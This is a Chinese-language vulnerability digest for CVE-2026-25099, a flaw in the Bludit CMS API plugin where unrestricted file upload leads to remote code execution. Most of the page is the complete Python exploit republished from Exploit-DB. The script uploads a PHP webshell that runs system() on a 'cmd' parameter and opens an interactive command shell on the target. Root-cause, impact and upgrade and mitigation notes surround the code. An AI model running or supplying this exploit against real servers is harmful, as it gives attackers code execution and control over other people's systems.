[webapps] Bludit CMS 3.18.4 - RCE
Bludit CMS API插件未限制上传文件类型导致认证用户RCE
Critical · CVSS 9.1📋 漏洞基础信息
| CVE | CVE-2026-25099 |
|---|---|
| 漏洞类型 | 未限制文件上传 |
| 受影响版本 | Bludit CMS < 3.18.4 |
| 危害等级 | Critical · CVSS 9.1 |
| 发布日期 | 2026-05-07 |
| 提交者 | Yahia Hamza (https://yh.do) |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
Bludit CMS API插件的uploadFile()函数未对上传文件的扩展名和内容进行任何验证,允许通过POST /api/files/<page-key>上传任意类型的文件,包括PHP webshell。
🎯 攻击场景
前置条件:拥有有效的API token(可通过管理员面板获取或通过配置错误/日志泄露获得)。步骤:1. 通过GET /api/pages获取一个有效页面key;2. 使用该页面key和token,通过POST /api/files/<page-key>上传恶意PHP webshell;3. 访问上传的webshell URL(位于bl-content/uploads/pages/<page-key>/下),通过cmd参数执行系统命令。成功标志:在响应中看到命令执行结果。
💥 漏洞影响
攻击者可以上传并执行任意PHP代码,实现远程命令执行,完全控制服务器(www-data权限),导致数据泄露、服务中断或进一步横向移动。
⚔️ 原始 PoC
PoC首先定义get_page_key()函数,通过GET请求/api/pages获取第一个页面的key;upload_shell()函数构造随机名称的PHP webshell,通过POST /api/files/<page-key>上传,MIME类型设为application/x-php;execute_command()函数访问webshell URL并附加cmd参数,从响应中提取<pre>标签内的输出。main()函数依次调用上述函数,失败则退出,成功则进入交互式shell循环。
# Exploit Author: Yahia Hamza (https://yh.do)
#
# Description:
# Bludit CMS API plugin allows an authenticated user with a valid API token
# to upload files of any type and extension via POST /api/files/<page-key>.
# The uploadFile() function performs no file extension or content validation,
# allowing upload of PHP webshells that execute as www-data.
#
# The API token is generated when the API plugin is activated and is visible
# to users with admin panel access. Tokens may also be exposed through
# misconfiguration, log files, or other application vulnerabilities.
#
# Fixed in Bludit 3.18.4.
#
# Usage:
# python3 CVE-2026-25099.py -u http://target -t API_TOKEN
# python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"
import argparse
import requests
import sys
import random
import string
def get_page_key(base_url, token):
"""Retrieve a valid page key from the Bludit API."""
try:
r = requests.get(
f"{base_url}/api/pages",
params={"token": token},
timeout=10
)
if r.status_code == 200:
data = r.json()
if data.get("data") and len(data["data"]) > 0:
return data["data"][0]["key"]
except requests.RequestException as e:
print(f"[-] Connection error: {e}")
return None
def upload_shell(base_url, token, page_key):
"""Upload a PHP webshell via the unrestricted file upload endpoint."""
shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
try:
r = requests.post(
f"{base_url}/api/files/{page_key}",
data={"token": token},
files={"file": (shell_name, shell_content, "application/x-php")},
timeout=10
)
if r.status_code == 200:
data = r.json()
if data.get("status") == "0":
shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
return shell_url, shell_name
except requests.RequestException as e:
print(f"[-] Upload error: {e}")
return None, None
def execute_command(shell_url, cmd):
"""Execute a command via the uploaded webshell."""
try:
r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
if r.status_code == 200 and "<pre>" in r.text:
return r.text.split("<pre>")[1].split("</pre>")[0].strip()
except requests.RequestException:
pass
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
)
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
parser.add_argument("-t", "--token", required=True, help="Bludit API token")
parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
args = parser.parse_args()
base_url = args.url.rstrip("/")
print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
print(f"[*] Target: {base_url}")
# Step 1: Get page key
print("[*] Retrieving page key...")
page_key = get_page_key(base_url, args.token)
if not page_key:
sys.exit("[-] Failed to retrieve page key. Check URL and token.")
print(f"[+] Page key: {page_key}")
# Step 2: Upload webshell
print("[*] Uploading webshell...")
shell_url, shell_name = upload_shell(base_url, args.token, page_key)
if not shell_url:
sys.exit("[-] Upload failed.")
print(f"[+] Shell uploaded: {shell_url}")
# Step 3: Verify RCE
print("[*] Verifying RCE...")
test = execute_command(shell_url, "id")
if not test:
sys.exit("[-] RCE verification failed. Shell may not be accessible.")
print(f"[+] RCE confirmed: {test}")
# Step 4: Execute command or interactive shell
if args.command:
output = execute_command(shell_url, args.command)
if output:
print(output)
else:
print("\n[+] Interactive shell (type 'exit' to quit)\n")
while True:
try:
cmd = input("shell> ")
if cmd.strip().lower() in ("exit", "quit"):
break
if not cmd.strip():
continue
output = execute_command(shell_url, cmd)
if output:
print(output)
else:
print("(no output)")
except (KeyboardInterrupt, EOFError):
break
print(f"\n[*] Shell: {shell_url}")
if __name__ == "__main__":
main()🔬 深度技术分析
PoC首先定义get_page_key()函数,通过GET请求/api/pages获取第一个页面的key;upload_shell()函数构造随机名称的PHP webshell,通过POST /api/files/<page-key>上传,MIME类型设为application/x-php;execute_command()函数访问webshell URL并附加cmd参数,从响应中提取<pre>标签内的输出。main()函数依次调用上述函数,失败则退出,成功则进入交互式shell循环。
🛡️ 修复建议
升级至Bludit 3.18.4或更高版本;临时缓解措施:限制API插件仅对可信用户开放、定期轮换API token、在Web服务器层阻止上传.php文件到bl-content/uploads/pages/目录。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2026-25099
- https://github.com/bludit/bludit/releases
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 16:55 | 来源: Exploit-DB